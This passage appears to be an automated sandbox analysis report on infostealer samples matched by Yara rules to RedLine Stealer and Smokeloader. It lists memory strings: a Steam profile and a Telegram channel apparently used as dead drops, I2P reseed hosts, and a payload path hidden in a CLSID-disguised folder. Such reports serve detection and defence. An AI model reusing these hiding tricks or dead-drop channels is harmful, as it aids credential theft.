Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://i2p.novg.net/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	String found in binary or memory: https://i2pd.readthedocs.io/en/latest/user-guide/configuration/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://i2pseed.creativecowpat.net:8443/
Source: file.exe, 00000000.00000003.2722820114.000000001B55F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	String found in binary or memory: https://legit-website.com/i2pseeds.su3
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395376073.000000001B579000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	String found in binary or memory: https://netdb.i2p2.no/
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://reseed-fr.i2pd.xyz/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://reseed-pl.i2pd.xyz/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://reseed.diva.exchange/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	String found in binary or memory: https://reseed.i2p-projekt.de/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://reseed.i2pgit.org/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://reseed.memcpy.io/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://reseed.onion.im/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://reseed2.i2p.net/
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199747278259
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, file.exe, 00000000.00000003.2269115043.00000000024FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2762253914.00000000024F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/badges
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/inventory/
Source: file.exe, 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/privac
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: file.exe, file.exe, 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/armad2a
Source: file.exe, 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/armad2ahellosqls.dllsqlite3.dllIn
Source: file.exe, 00000000.00000002.2767835795.0000000019760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768175135.000000001B55F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2722820114.000000001B55F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395376073.000000001B579000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: file.exe, 00000000.00000002.2767835795.0000000019760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768175135.000000001B55F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2722820114.000000001B55F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://www2.mk16.de/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.212.60:443 -> 192.168.2.6:49714 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2762173907.000000000249D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C84B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C84B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C84B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C84B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C84B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C84B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C7EF280

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 23_2_00007FFDA38CF0FE strlen,strcat,strlen,strlen,strlen,strcat,strlen,strlen,strlen,strcat,LogonUserA,GetLastError,CreateProcessAsUserA,GetLastError,CloseHandle,CreateProcessA,GetLastError,

23_2_00007FFDA38CF0FE

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

File deleted: C:\Windows\Temp\1kuzcKGx

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041BD50	0_2_0041BD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A130	0_2_0041A130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00419B58	0_2_00419B58
